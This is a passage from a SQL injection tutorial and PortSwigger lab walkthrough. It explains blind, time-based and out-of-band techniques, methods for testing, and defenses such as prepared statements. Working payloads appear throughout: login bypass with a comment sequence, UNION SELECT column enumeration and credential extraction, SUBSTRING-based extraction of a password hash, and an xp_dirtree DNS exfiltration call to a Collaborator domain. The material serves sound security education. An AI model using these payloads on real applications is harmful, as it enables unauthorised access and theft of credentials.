Since 1=2 is FALSE and we are using an "AND" statement, both statements must be true. Therefore, this whole query evaluates to FALSE. In this case, it won't display a title from the product table. If we force a false statement, we won't get the title of the products associated with ID 1.

Let's see what happens when we use a TRUE statement:

www.random.com/app.php?id=1 and 1=1

The backend query would be:

SELECT title FROM product WHERE id = 1 and 1=1

Here, since 1=1 is always TRUE, the entire query evaluates to TRUE. Therefore, the title of the products associated with the ID of 1 will be outputted to the page.

If this is vulnerable, we would have 2 different responses depending on whether we force a TRUE statement or FALSE statement. From here, we are able to tell when the application is telling us it is a TRUE statement versus a FALSE statement.

How does that matter and help us exploit it? To answer that, let's take another use case. The same application has login functionality and so it has a users table in the database that has the usernames and their password hashes:

We want to extract the hashed password, but we cannot output it on the page - we have to use Boolean based SQLi to output it. This is only done by asking the application TRUE or FALSE questions.

The way we would do this is by using the following payload:

www.random.com/app.php?id=1 and SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's'

Which, in turn, would generate the following query:

select title from product where id=1 and SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's'

The SUBSTRING function extracts some characters from a string. The first parameter it takes is the string you want to extract from. The second parameter is the start position for the extraction. The third parameter is the number of characters to extract.

In this case, we are saying that the string to extract from is the output of the SELECT Password FROM Users WHERE Username = 'Administrator' query. This query outputs the hashed string seen above. Then, we ask it to extract the first character in the string and only 1 character - it will extract the first character. Finally, we ask it if the first character is equal to 's'.

In this case, the first character does not match. Therefore, the second statement evaluates to FALSE which makes the entire query evaluate to FALSE and we should not see a title from the products page.

Since nothing was returned on the page, we know that it returned FALSE. From that, we know that 's' is NOT the first character of the hashed password:

If we looped through the characters and reached 'e':

www.random.com/app.php?id=1 and SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 'e'

This would ask if the first character is equal to 'e'. In this case, it does. This then evaluates to TRUE, meaning the whole backend query evaluates to TRUE. Therefore, the title of products associated with ID 1 are returned on the page, indicating it returned TRUE, telling us that 'e' is the first character.

Now obviously it would take ages to do this manually, so automation is key. Things like Burp Intruder or a custom Python script can be used to do this for us.

Time-Based SQL Injection

Time-based is a technique that relies on the database pausing for a specified amount of time, then returning the results, indicating a successful SQL query execution.

Similiar to Boolean-based, we inject a payload in the parameter. That payload then pauses the application for a certain period of time. For example, in PostgreSQL, you would use the pg_sleep command and input a certain number of seconds. If the response time takes that time to respond back to us, then we know it is vulnerable.

The example is the same as Boolean based. The way you would extract information is by asking the app TRUE/FALSE questions except the condition is not a response in the application, but rather based on the response time of the application.

For example, if the first character of the administrator's password is an 'a', then wait for 10 seconds:

Again, this can't be done manually but we can use things like Python or other tools for automation.

Out-of-Band SQL Injection

Out-of-band is a vulnerability that consists of triggering an out-of-band network connection to a system that we control. This technique is usually used when you cannot apply any of the other techniques. It is NOT a common technique as it does rely on certain features being enabled in the database to make the network connection.

To exploit this, you can use a variety of protocols but the most common ones are DNS and HTTP.

An example payload is the following:

'; exec master..xp_dirtree '//0efythgywetydsffhkjywtkjghgy.burpcollaborator.net/a'--

Here, we exploit the vulnerability by using the xp_dirtree stored feature in MSSQL to perform a lookup of a domain name (generated using Collaborator). Since we own this domain, we can confirm if there were any DNS lookups.

If there were, then this is vulnerable. If it is not vulnerable, you will not see the DNS lookup.

Once you have confirmed this vulnerability exists, in some scenarios, you may be able to exfiltrate data and in other cases you might have to use conditional statements like Boolean/Time based where if you get a DNS lookup, then it is a TRUE statement.

How to Find SQLi Vulnerabilities

The methodology used for finding SQLi vulnerabilities differs from one person to another. It is usually developed by experience.

We can split testing into two categories:

Black-box testing - when the tester is given little/no information about the system apart from the URL and the scope
White-box testing - tester is given complete access to the system including the source code of the application

A third category is called grey-box testing which is a combination of black-box and white-box testing where the tester is given limited information and access to the system. For example, instead of providing the URL, the tester is also given accounts to the application.

Black-Box Testing

The first thing to do is map the application by visiting the URL, walking through all the pages, make note of all input vectors, understand how the app functions, figure out the logic of the application, try to find subdomains, enumerate directories/pages that may not be visible and so on.

While doing that, Burp should be listening silently in the background. Mapping the application is a VERY underrated step although it is probably the most important step. Usually, beginners get way too excited about the fact they are testing an application and then they start throwing out malicious vectors/payloads into the app to see if the application responds in an unsual way.

It's recommended to leave that way of testing to automated scanners and spend a lot of time understanding how the application works. Most of the vulnerabilities found in applications are logic flaws that a scanner cannot find on its own or the vulnerabilities are embedded in pages that the scanner cannot crawl.

Once mapped and listed all the input vectors, it is a matter of fuzzing the application to look for SQLi. This means adding special characters and seeing if the application responds in an unusual way. Depending on how the app responds, you start refining your query until you achieve your end goal.

Fuzzing can be done in many ways. One thing you can do is try submitting SQL specific characters such as a single quote or double quote or hash or double dashes and see if the app outputs an error. Errors are REALLY important since they provide information about how the backend operates.

Sometimes, they give you the database, the database version, the exact query, etc... If you get the query, you hit gold and can develop your payload based on it.

Once we have an error, we can try to build a query using multiple requests. In certain scenarios you don't get an error like in Blind SQLi, and so you also have to submit boolean conditions such as OR 1=1 and OR 1=2 and look for differences in the app's responses. If you can get the app to respond differently, it means it is vulnerable to boolean injection.

Next you can do the same thing as Boolean injection but instead to try and trigger time delays in the app and see if there is a different in the response time. If you input a function that causes a time delay and you observe that time delay, it means the app is vulnerable to time-based SQLi.

Lastly, you can also submit OAST payloads designed to trigger an out-of-band network interaction when executed within a SQL query, and monitor for any resulting interactions.

White-Box Testing

In this case, if you are given the source code, we can enable web server logging and database logging. The web server logging will help because when we are fuzzing the application, it will generate errors on all the different invalid characters that you input into the application and then that helps you to detect SQLi and also to refine your payload.

Similiar, for database logging, we enable it because when we think there is a SQLi vulnerability and we enter a payload, we want to see how it is logged at the backend. Depending on how it was logged, we can then see what characters made it through and in what format they made it through.

Then, we could say with a certain accuracy that it is vulnerable to SQLi before even looking at the source code.

Once logging enabled, we would map the application just like with the black box test - starting with its GUI, mapping its functionality, input vectors, etc... Next, since we have source code access, it's a good idea to do a regex search on all instances in the code that talk to the database - really depends on how the app is programmed and what database it uses.

It's a good idea to have Regex strings to look for in the code to see if we missed anything that has not been mapped. There are certain pages that may not be directly accessible through the main page and you did not discover through directory bruteforcing.

Once we have a list of everything, a good step is to fuzz the application - submit SQL characters. Additionally, we would look at how they were logged and then based on that, we could usually tell if it was vulnerable to SQL code injection and if we feel it is vulnerable, we would do a code review of that functionality.

For example, if the login page is vulnerable, we would look for the login functionality in the code and do a walkthrough of that entire functionality from start to end until we confirm it is vulnerable to SQL injection in theory.

Finally, we would test it out to confirm the theory.

How to Exploit SQLi Vulnerabilities

Exploiting Error-Based SQLi

As a reminder, error-based SQLi is a technique that forces the database to generate an error, giving the attacker information allowing them to refine their query/payload. Successful exploitation is the fact that you can get the application to output an error.

Not much is needed for this technique. You would submit SQL-specific characters such as a single or double quote and look for errors or other anomalies/differences. Different characters can give you different errors so it's a good idea to fuzz the app with common characters to generate errors.

Exploiting Union-Based SQLi

As a reminder, union-based SQLi is a technique that leverages the UNION SQL operator to combine the results of two queries into a single result set. In order to use the UNION operator, you have to follow the rules of the UNION operator:

The number and the order of the columns must be the same in all queries
The data types must be compatible

The query the app is making and the query you want to make have to satisfy these 2 rules. When exploiting union-based, the first thing to do is figure out the number of columns that the query is making and then figure out the data types of the columns (mainly interested in string data since we want usernames/passwords).

Once that is figured out, we can use the UNION operator to output information from the database. Sometimes, you don't get the data type that you want, therefore it might be a dead end.

There are 2 different ways of determining the number of columns. One of the ways is using the ORDER BY clause. This clause orders the result set of a query by a specified column list. For example:

select title, cost from product where id = 1 order by 1

The above query would order by the first column which would be the title column. The way to figure out the number of columns is to incrementally inject a series of ORDER BY clauses until you get an error or observe a different behaviour in the application.

order by 1--
order by 2--
order by 3--

If we say order by 1, it will order by the first column. If we say order by 2, it will order by the second column. However, if we order by 3 (in this example), that column doesn't exist so we get an error. That way, we know that 3 is not a column but 1 and 2 are hence we know there are 2 columns.

The second way is by using NULL VALUES. For example:

' UNION SELECT NULL--

The payload above will product an error and tell us that we know the query has more than 1 column. Knowing that we would modify our payload:

' UNION SELECT NULL, NULL--

The payload above will not produce an error and will output the results of the title and cost query and the NULL values. This means that the number of columns we have are equal to the number of NULL values.

After we have identified the number of columns, we need to find a useful data type in these columns. The way to do this is to probe each column to test whether it can hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn.

For example:

' UNION SELECT 'a',NULL--

Now that we know it has 2 columns, we would add a string value in the first column and see if it returns an error. If it does, that means the first column is not a string data type. Then, we would try it with the second column:

' UNION SELECT NULL,'a'--

If this also produces an error, that means it does not accept string values. We would keep doing this until we find a value that allows us to enter string data. In some cases, there may not be a value.

Exploiting Boolean-Based Blind SQLi

The first thing to do is submit a boolean condition that evaluates to FALSE and note the response. Then, we would submit a boolean condition that evaluates to TRUE and note the response.

If the response is different, then you have a Boolean based blind SQLi. The way to exploit it would be to write a program that uses conditional statements to ask the database a series of TRUE/FALSE questions and then monitor the responses.

If the response is the same as the response you got when it evaluated to TRUE, that means the question you asked it is TRUE.

Exploiting Time-Based Blind SQLi

First, you would submit a payload that pauses the application for a specified period of time. If the application does actually pause for that specified period of time, that means it is vulnerable.

If it is vulnerable, it is a matter of doing the same as boolean-based where we write a program that uses conditional statements to ask the database a series of TRUE/FALSE questions and monitor the response time.

If there is a delay in the response time, that means the question you are asking the application is TRUE.

Exploiting-Out-of-Band SQLi

As a reminder, this is a vulnerability that consists of triggering an out-of-band network connection to a system that we control. To exploit it, we would submit out-of-band payloads designed to trigger an out-of-band network interaction when executed within a SQL query, and monitor for any resulting interactions.

This exploit is database specific so knowing the type of database being used is crucial in this scenario. It also depends on whether the database has this functionality enabled. If you receive a network connection, that means the application is vulnerable.

In certain scenarios, you might be able to immediately exfiltrate data from the application whereas in other cases you might have to ask it TRUE/FALSE questions similiar to blind based attacks.

Automated Exploitation Tools

One of the most famous ones is SQLMap. It's used to find SQL injection vulnerabilities. It's very powerful and very customizable in the sense that you select what parameters you could injection. You can also select the verbosity of testing, the angle of your testing and much more!

Other tools that you could use that are more for detection rather than exploitation include Web Application Vulnerability Scanners (WAVS) such as Burp Suite, Arachni, OWASP-ZAP, Wapiti, Acunetix and w3af. These tools do have limitations so be aware.

How to Prevent SQLi Vulnerabilities

There are primary defenses and additional defenses that can be applied. Primary defense can be divided into 4 options:

Use of prepared statements (parameterized queries)
Use of stored procedures (partial)
Whitelist input validation (partial)
Escaping all user supplied input (partial)

Additional defenses can also be applied such as:

Enforcing least privilege
Performing whitelist input validation as a secondary defense

Use of Prepared Statements

This is the correct way of defending against SQLi and should be the number 1 implementation. Let's take a code example:

Here, we have a SQL query that takes user input (customer name) and adds it directly to the query. Then, it defines the structure of the query and then executes the query. What's the issue?

Well, user supplied input such as customerName is embedded directly into the SQL statement. Anything that the user adds might be interpreted as part of the SQL query.

Using prepared statements can prevent SQLi attacks as the construction of the SQL statement is performed in two steps:

The application specifies the query's structure with placeholders for each user supplied input
The application specifies the content of each placeholder

This way, there is no way that user supplied input that is specified can ever interfere with the structure of the query in the first step because the query structure is already defined and any placeholder data is interpreted in a safe way as literally "data" vs SQL code.

Let's take an example:

In this code, there is a variable (custName) that takes in user supplied input. Then, we have the query being defined. Then, it prepares the statement through a database connection. The prepared statement method is invoked to interpret the query and fix the structure of the query. Then, the setString method is used to specify the parameters actual value.

Because the query structure has already been fixed in the prepared statement, the value can contain any data without affecting the structure of the query as it will literally be interpreted as data vs as part of the query.

If the user puts in SQL characters, it would be interpreted as data and it can't change the structure of the query.

Partial Options

There are partial options. One of these is the use of stored procedures. A stored procedure is a batch of statements grouped together and stored in the database. They are NOT always safe from SQLi as if they are implemented incorrectly, they could vulnerable. They still need to be called in a parameterized way to be safe.

The reason some people would use stored procedures or any partial option is because there are certain parameters that you can't specify as placeholders in parameterized queries such as the table name or column name. If that is user controllable, you would have to use one of the partial options.

Another option is whitelist input validation. This allows us to define what values are authorized and everything else is considered to be unauthorized. This is useful for values that cannot be specified as parameter placeholders, such as the table name.

The final partial option is escaping all user supplied input. However, this should only be used as a last resort.

Additional Defenses

It's important to cover the concept of Defense in Depth. The idea is to make it as difficult as possible for an attacker to compromise your organization. This is done by providing additional protection in the event that the frontline defenses fail.

If an attacker wants to gain access to your organization and they manage to get past the first block, then we would have other obstacles to get through before they get to the organization.

In the same sense, although we use parameterized queries, just in case the developer forgets to include it on one parameter, you want to have defense in place that if a SQLi is exploited, the attacker gets another obstacle in their way.

One of these is least privilege. The application should use the lowest possible level of privileges when accessing the database. The reason for this is if SQLi exists and an attacker exploits it to gain RCE on the server, then the attacker will gain the same level of privilege the database is running with. If it is running as root, then the attacker has all the privileges.

Any unnecessary default functionality in the database should be removed or disabled including things like functions that allow you to execute system commands or functions that allow you to make a network connection.

You should also ensure CIS benchmarks for the database in use is applied. There are benchmarks for most of the databases out there. They are rules on the way to configure the database in order to ensure that it is secure. It includes things like using least privilege and removing default functionality and so on.

Last but not least, all vendor-issue security patches should be applied in a timely fashion. If you get a notificaton that the version you are using is vulnerable, then you should patch it as soon as possible.

Lab 1 - SQLi in WHERE Clause Allowing Retrieval of Hidden Data

In this first lab, we are given a short description of the lab telling us that it contains a SQL Injection vulnerability in the product category filter (important).

Even more important, we are actually provided with the SQL query:

SELECT * FROM products WHERE category = ‘Gifts’ and released = 1

Finally, we are told to perform a SQLi attack that causes the application to display details of all products in any category, both unreleased and released.

One of the most important skills to have is reading and understanding our goal. From this short description and provided SQL query, we can gather a couple of things right off the bat:

The product category filter contains the vulnerability, shortening our attack surface
Since we want to perform a SQLi attack to displays all categories and regardless of the release status, can we comment the released parameter out somehow so it gets ignored?

With this, as with all labs and web pentesting, we should explore the website before diving into trying to exploit it. When we open the lab, we see a simple looking web app:

From here, with Burp Suite running, we can click around, view the details of the products, click the categories to refine our search, and just generally play around with the website. After navigating around and getting a feel for the website (do this on your own), in Burp Suite, a directory tree/site map will be generated in the Target tab:

From the description of the lab, we should have an interest in the “filter” section. We can see in the directory tree, that it seems to use a parameter called “category” to set a filter on what to show the end user with regards to the products. These 4 values correspond to what we saw on the web page itself (look at the first image).

With this interest, we can try right clicking on one of these (I chose category=Accessories) and send it to Repeater so we can play around with it:

What happens if we send the request as is? What does the response look like? These are good questions to ask before we start changing parameters around - it sets a baseline for us to understand what a normal request/response looks like so we can potentially notice if any changes when we play around.

It seems to be a standard 200 OK response with the page simply filtering for “Accessories”. Explore the response on your own time if you want more detail.

Back to the description, it told us the query was something like:

SELECT * FROM products WHERE category = ‘Gifts’ and released = 1

We just sent a request where the URL included the category parameter that we could set by clicking on links on the web page. From an attacker’s point of view, this is a potential vulnerability. We can possibly inject something into this parameter and break the application or hopefully get something juicy out of it.

Knowing that we can change the category parameter that gets inputted into the SQL query, we can try and craft a malicious payload that breaks the syntax, displaying all the products whether released or unreleased. Thinking back to the SQL introduction section at the top of the page, what happens if we inject a single quote?

The SQL query would become:

SELECT * FROM products WHERE category = ‘‘’ and released = 1

This is invalid SQL and it should produce an error of some kind due to the additional single quote:

And we do! An Internal Server Error is produced which is a fantastic indicator that we broke something by injecting that single quote, likely indicating that input does not get sanitized and is exploitable. From here, we can use our brains and try and craft a payload that keeps the category empty (i.e. all categories) but comments out the rest of the query (released check).

Maybe we can try closing the single quote, adding some sort of logical check (always TRUE) and comment out the rest? Let’s take a look at the following payload:

‘+OR+1=1— (two dashes at the end, but the website concatenates them)

What is this payload doing? Well, the first single quote (‘) simply closes off the category parameter manually instead of letting the application do it. The full query becomes:

SELECT * FROM products WHERE category = ‘‘‘ and released = 1

However, we know previously that this broke the application. The next part of the payload - +OR+1=1 - is using a logical check, essentially stating that 1 equals 1, which according to the laws of maths, should always evaluate to TRUE. The query now becomes:

SELECT * FROM products WHERE category = ‘‘+OR+1=1‘ and released = 1

Getting closer, but this will still produce an error as there is a stray single quote after our query, which is the single quote the SQL back end inserts by itself. This causes an error because we injected a single quote which already closed the category parameter value.

It was mentioned earlier that we can use two dashes (- -) to insert comments into SQL. If we insert two dashes at the end of our payload, anything after those dashes gets commented out and does not get executed by SQL, effectively causing the stray single quote we have to not be executed, therefore getting rid of the error.

Let’s try executing the full payload in Burp and see the response. We would expect not to see an error message anymore:

Here, we see our payload at the top where the category name normally lives, and we see the products in the page displaying correctly. It’s hard to see in the Render view in Burp Suite the whole page, so let’s try once more by intercepting a category filter request in the Proxy, using our payload, and forwarding it on to see what happens on the page:

We see that the popup appears telling us we solved the lab. In this case, I intercepted a request for “Tech gifts”, but it should be obvious that a gym suit and bed are not tech gifts. Additionally, scrolling down you should see products that were not there before, even if you filtered by All, as it is now showing unreleased products due to our injected payload.

That concludes this lab. Let’s move on to the next one, which is slightly harder, although still doable for beginners.

Lab 2 - SQLi Vulnerability Allowing Login Bypass

Remember - always read the lab description. For this one, it’s much less detailed, but still gives us important information. It tells us is contains a SQLi vulnerability in the login function and the goal is to log in to the application as the administrator user.

First, we can navigate to the web page and navigate to the login page as we know it is vulnerable. Note that In a real-world application, you would explore the website and generate a site map in Burp Suite and look at every page.

The first thing we can try is using the administrator username with a dummy password that hopefully shouldn’t work unless we get insanely lucky. For this, I just used a password of “password”. After inputting this and sending the POST request, an error is returned:

A good thing to note here is that we get a generic error message, telling us that it is either an invalid username or invalid password, but doesn’t tell us what field was wrong. That way, we cannot really enumerate any usernames as any username we enter, regardless of if it exists or not, returns the same error message.

To prove this, we can enter a dummy username like “idontexist” with a dummy password of “testing” and we will see the same error message:

It’s hard to tell what the code is like for generating this error message and the checks it doing exactly, but we can estimate what the SQL query is likely doing. The SQL query probably looks something like the following:

SELECT name FROM users WHERE username=’idontexist’ and password = ‘testing‘

As in the first lab, we want to try and break this first by injecting a single quote. By injecting a single quote as the username, the following query (or something like it) should be formed:

SELECT name FROM users WHERE username=’’’ and password = ‘testing‘

We should expect an error message as we have a stray single quote that is not being closed. The results in Burp Suite after injection confirm this theory:

Once again, we do get an Internal Server Error indicating that we can likely exploit this as no sanitization is being performed and it gets executed as SQL code. Looking back at the theory section and the previous lab, what happens if we specify the user we want (administrator) and somehow comment out the password field so that it’s not checked, therefore logging us in successfully if the username matches?

With this in mind, we can craft the following payload:

administrator’—

Going through the theory of this, we know what happens if we simply specify the username (administrator). The query gets formed as normal. It expects a password, then likely checks that password matches what is stored in the database. If the passwords match, then we get logged in.

What happens if we add the single quote at the end? We get the following query:

SELECT name FROM users WHERE username=’administrator’’ AND password=’testing’

Here, we set the username to administrator, but the single quote inserted by SQL itself still exists after the username field is already closed off by our payload (‘administrator’’). To fix this, we simply comment it out using the double dash in SQL:

SELECT name FROM users WHERE username=’administrator’—’ AND password=’testing’

Here, everything past the double dash gets commented out (’ AND password=’testing’), therefore making the final query be the following:

SELECT name FROM users WHERE username=’administrator’—

With this query, all the SQL database does is check if a user exists with the specified username (in this case, administrator) and does not check for the password. If the user exists, we login. It’s as simple as that.

Knowing this, we can simply test this in Burp Suite:

Immediately, we see a different response. It’s no longer a response of 500 Internal Server Error, but 302 Found. This indicates that we likely logged in, as we can see the location also becomes /my-account, indicating we have access to some sort of account settings.

We can confirm this by logging in with our payload on the web page, without intercepting in Burp Suite and seeing if we get logged in:

We can see that the URL includes the /my-account we saw in the response in Burp Suite. Additionally, we can also see the banner saying we solved the lab and the My Account page stating that our username is “administrator” indicating a successful authentication bypass.

That concludes both SQL Injection Apprentice level labs and I hope you learned something from it. SQL Injection can get a lot more advanced, but this should be a good beginner step to understanding it. Next, let’s move into some more advanced labs, starting with UNION attacks.

Lab 3 - SQLi UNION Attack - Determining No. of Columns

First, we spawn the lab. Once the lab is spawned, we navigate to the home page and see the same shop that allows us to filter by different categories.

If we click on a category to filter by - for example Accessories - we can see that it gets displayed back on the page as well as in the URL. Additionally, it narrows down the search results to only those products that related to the category we selected.

Knowing that it gets reflected back on the page, we can test to see if we can break the likely SQL query being run in the backend. There are multiple ways to do this but one of the most common is to inject a special character in SQL syntax such as a single quote and see what happens:

As we can see, injecting a single quote breaks the application. This is a good indicator of a possible SQL injection attack. Now that we know a single quote breaks the backend query, can we possibly fix it?

To test this, we can try injecting a single quote and then providing the characters that comment out the rest of the query. There are multiple characters that can be used for commenting but one of the most common is using a double dash (—). Let’s inject it and see if the error goes away:

It does and we see the full page once again. This confirms that the category parameter is vulnerable to SQL injection. From here, the next thing we want to do after confirming the vulnerability exists is determine how many columns are present before attempting our attack.

As discussed in the theory section, there are 2 possible ways to do this. For this lab, I decided to use the UNION SELECT NULL method. Because using the UNION operator requires that the first query has the same columns of the second, if we have a different number of columns, we get an error.

If we incrementally inject a series of UNION SELECT payloads specifying a different number of null values until you no longer get an error, we could figure out the number of columns.

First, we use the UNION SELECT command with one NULL column and comment out the rest of the query using the double dash:

Once we hit Enter, we can observe the result below:

As we can see, this produces an internal server error. This tells us that the backend has more than 1 column. The next logical step is to add a second NULL column and see if that works:

Once again, we hit enter and observe what happens:

Once again, we get an internal server error so we know it has more than 2 columns. As expected, let’s try with 3 NULL columns and see if that works:

Once we hit Enter, let’s observe what happens as before:

Interestingly, we get the normal page back. This tells us that the table that is display the products has 3 columns. You might be asking, but I only see two columns - the name and the price, so why is there 3 columns?

As with a lot of databases, there is likely a hidden column that we don’t see that contains something like a product ID to help the backend grab the details for that specific product.

Before we go any further, we can confirm all the things we did for this lab by seeing the requests in Burp Suite’s HTTP History tab. First, we found a category parameter that was being submitted to the application that allowed us to filter by category. Once we injected a single quote to the end of this parameter, it broke the backend query and produced an error:

Then, to confirm it was vulnerable and interpreting our characters as SQL code instead of a normal string, we injected a comment string to comment out the rest of the query:

This then fixed the error we caused before by commenting out the rest of the query after the category parameter’s value was closed by our injected single quote. After that, we then performed the next step by enumerating the number of columns the table had.

For this lab, we performed this by using the UNION operator and NULL columns. After sending 1 NULL column, the application produced an error:

This told us that the application had more than 1 column. With this information, we then incremented the number of NULL columns to 2, although this still produced an internal server error:

Finally, we incremented once more and sent 3 NULL columns which worked and allowed us to confirm that there were 3 columns present in the table through our enumeration:

Below, you can see every important request that was made to the application, detailing the process of identifying how many columns exist:

After we successfully enumerate the number of columns, if we browse back to the web app, it tells us we successfully completed the lab:

Lab 4 - SQLi UNION Attack - Finding a Column Containing Text

First, we start the lab and once again navigate to the home page. As before, we see a simple shop where we can filter based on certain categories provided to us:

If we click on one of the categories, we can view its typical functionality. Looking at the output, we can see the category we pick gets returned to the page as well:

However, more importantly, we can see that the category value gets appended to the URL via a parameter called "category". After reading the description of this lab, we know that this is the vulnerable parameter we need to exploit:

With this in mind, we can start playing around with this parameter's value and see if we can break it. An easy way to do this is by injecting various SQL characters that could potentially break any query this value is inserted into.

One of the easiest characters to use for this test is the single or double quote character. For this, let's try injecting a single quote after the character:

Let's take this request into Burp Suite and observe what happens:

As we can see above, once we send the request with a single quote injected into the parameter, something happens on the back end and we get an internal server error sent back to us. This is a good indicator that the single quote we injected broke the backend query and caused this error.

The next test we can do now that we know a single quote breaks it is to see if we can fix it while keeping that injected single quote. A good way to test for this is by trying to comment out the rest of the backend query after injecting a single quote, which likely closes the category parameter's value.

There are many characters available for commenting lines out in various SQL database but one of the most common is the double dash (--):

If we inject this double quote, we can observe below that the query gets fixed and the normal page returning the products in the Pets category gets returned to us without any indication of an internal server error - this is good!

Through these tests, we can determine that this parameter is likely vulnerable to SQL injection and we can continue on to the next step of SQL injection testing.

Once we know that the parameter is vulnerable to SQL injection, the next step is to determine the number of columns the database is using. As discussed in the previous lab, there are 2 ways to do this - via the UNION operator or by using the ORDER BY clause. As I used the UNION operator before, we can use the ORDER BY clause for this one.

This clause orders the result set of a query by a specified column list. The following query would order by the first column. The way to figure out the number of columns is to incrementally inject a series of ORDER BY clauses until you get an error or observe a different behaviour in the application.

Once we send this request, we can see that the page stays the same - this is expected as we can clearly see at least two columns on this page:

Knowing this request works, we can increment the number to sort by up to 2 and see if we still get no error:

After we send this request, we can see that the page still gets returned as normal:

However, more observant individuals will notice that the order of products changed. Looking even more closely, we can see that they seem to be ordered alphabetically. From this observation, we can likely determine that the 1st column is some sort of product ID and the 2nd column is the title of the product.

Since it did not return an error, we increment once more and observe any changes:

Once again, we can see that the page gets returned as normal. However, we can see that this time it appears to be ordered by price in ascending order. This tells us that the 3rd column is likely the price value:

As before, since we have not received an error yet, we increment the value up to 4:

And then, we send it and see what happens:

This time however we do receive an error. This is good though! Since we received an error while trying to order by the 4th column, we can determine that the application does not have a 4th column, thereby confirming to us that it has a maximum of 3 columns.

To test this theory is not a fluke and we just got lucky, we can also use the other UNION operator method specifying 4 NULL columns:

Once we send this payload off, we see we also get an internal server error as we are trying to display 4 columns when it only has 3:

So far, we have enumerated that the category parameter is vulnerable to SQL injection and that it has 3 columns present. After we have identified the number of columns, we need to find a useful data type in these columns. The way to do this is to probe each column to test whether it can hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn.

First, we use the UNION SELECT payload and place a string of 'a' into the first column to see if it produces an error:

After we send this payload, we get the following response:

This is expected as we did not see the first column at all in the output page and we determined earlier that it was likely some sort of Product ID that is probably some sort of integer number rather than a string value.

From here, we can then test the second column by setting the first column back to NULL and setting the second column to the value of 'a':

Once we send this, we get the following response:

This time, we see that the page returns as normal but with the character 'a' appending to the bottom of the second column, indicating to us that this column does indeed accept string data. We now know that at least one column can accept string data.

Finally, we can test the third column by providing the following payload:

After we send this payload, we get the response below:

As expected, since this is the price column and it is displaying numbers, it likely does not accept string data and therefore produced an internal server error back to us. However, we know that the second column accepts string data and so we can move on with our attack.

Reading the top of the lab, we can see what the goal is. In this case, it is to make the database retrieve the random string provided:

Since we know that only the second column allows string data, we can simply use the UNION SELECT payload as before and instead of sending the 'a' character in the second column, we can send the provided string:

After we send this, we can see that it appears at the bottom of the title column on the page since we injected it into the title column:

After we successfully exploit this vulnerability and display the random string, PortSwigger tells us that we have successfully completed the lab:

Lab 5 - SQLi UNION Attack - Retrieving Data from Other Tables

As we have done for every lab, once we start it up we navigate to the home page and observe what we are dealing with:

As expected, it is the We Like To Shop web app as always. This time, it seems to be more of a blog site rather than a shop as we can see some type of blog posts. However, more importantly, we can see that we can still filter by certain categories provided to us. If we filter by Lifestyle for example, our results get filtered to only show blog posts matching that category:

Similiar to the previous labs, we can see that this category gets reflected on the page itself as well as in the URL, sent as a parameter under the "category" name:

As before, we can start fuzzing this parameter by injecting a single quote and see if that breaks the back-end query:

Once we send this, we can see the response we get below:

As expected, this breaks the back end query and we get an internal server error returned back to us. This is good as discussed before since it is likely interpreting that single quote as SQL code. The next step is to try and add comment syntax after the single quote to stop the rest of the query from executing:

After we send this query, we can see the following:

The comment syntax successfully stops the rest of the query from executing and the page gets returned as normal with the blog posts filtered by the Lifestyle category. Now that we know the category parameter is vulnerable, we can enter our payloads to try and enumerate the number of columns.

As discussed above, there are 2 methods but I will use the ORDER BY method for this lab. First, we try ordering by the first column by providing the following payload:

If we send this payload, it still returns the normal page. However, if you look closely, it appears to be ordered in alphabetical order by the title column (Hitch, Packaway, Paint, etc...) This tells us that the application has at least 1 column (as expected):

With this, we can then increment this number up to 2 to try and order by the second column:

This time, we still get the same page returned and it appears to be ordering by the second column in alphabetical order which is the large paragraph underneath the heading (On, Struggling, There....). This is expected since we could see two columns on the page:

As before, we keep incrementing until we get an error returned to us so we increment again and change the number to order by the 3rd column:

This time, when we tell it to order by the 3rd column, it produces an internal server error:

This tells us that when the application tries to order by the 3rd column it can't - likely because there is no 3rd column which, in turn, tells us that the application only has 2 columns.

From here, since we now know how many columns it contains and we know that we are trying to grab the username and password (2 things) from the users database, then we can skip the step where we enumerate if the columns can accept string data since we can clearly see it.

However, in a real world web app test, you would not skip this step!

Since we are provided with both the columns and the table that we need to use, we can try simply using the UNION SELECT payload again, providing it the "username" and "password" columns and the table to extract from - users:

Once we send this payload, we can see the following output:

Here, we can see that the username gets extracted into the first column (title), while the password gets extracted into the second column (paragraph). This provides it in a nice neat format for us where we can clearly see that the administrator user corresponds with the password beginning with "e43".

Since we now have these extracted credentials, we can navigate to the login panel and attempt to login as the administrator user:

After we successfully login as the administrator, the banner drops down telling us that we successfully solved this lab!

Lab 6 - SQLi UNION Attack - Retrieving Multiple Values in Single Column

As always, we start the lab and navigate to the home page to observe what we are dealing with:

In this case, it is a simple shopping page that allows us to sort by a certain category provided by the application. The first thing we want to test is how it is filtering using the provided categories. If we click on a certain category - Accessories - we can observe the following below:

As we can see, the category gets reflected to the page as well as being passed to the web app using an HTTP GET request and the "category" parameter that is provided in the URL itself. Seeing this, our first thought should be to fuzz this parameter and test if it is indeed vulnerable.

A good way to test it is by injecting various SQL code characters that could get interpreted as SQL code rather than a literal string. A good way to start this is by injecting a single quote:

Once we inject the single quote, we want to observe what the application does when we send this request. We can see the response in the image below:

As we can see above, once we inject a single quote into the category parameter, it seems to break something in the back end and we get an internal server error - this is a fantastic thing to see since it is highly likely that we broke the query with our single quote.

Since we know the single quote breaks the back end, the next test would be to see if we can comment out the rest of the query being executed in the backend. To do this, we can use the double dash syntax right after the single quote ('--):

Once we send this, we again want to observe its behaviour. Our expected behaviour is that the web app will return the normal page as we have commented out the rest of the query and so it should not be executed:

And it does! It returns as normal, indicating a high likelihood that this parameter is vulnerable to SQL injection. Now that we have a high degree of accuracy that this parameter is vulnerable, we can move on to the next step of enumerating how many columns there are.

To do this, we can use the UNION SELECT command and inject NULL columns incrementally until the app produces an error. The first payload would look like the following:

Then, we can send this payload and observe the behaviour. What do we expect here? It's hard to say as we can clearly see at least one column, but there may be a hidden one we are not seeing displayed to us:

As we can see, this query with one NULL command being sent produces the famous internal server error, indicating to us that it does contain more than one column. With this knowledge, we can inject another NULL column into the UNION SELECT payload:

Once we send this, we get the following response:

It returns the normal page with the standard results list of products. This tells us that the column has 2 columns, since the UNION operator must contain the same amount of columns as the query being executed by the back end.

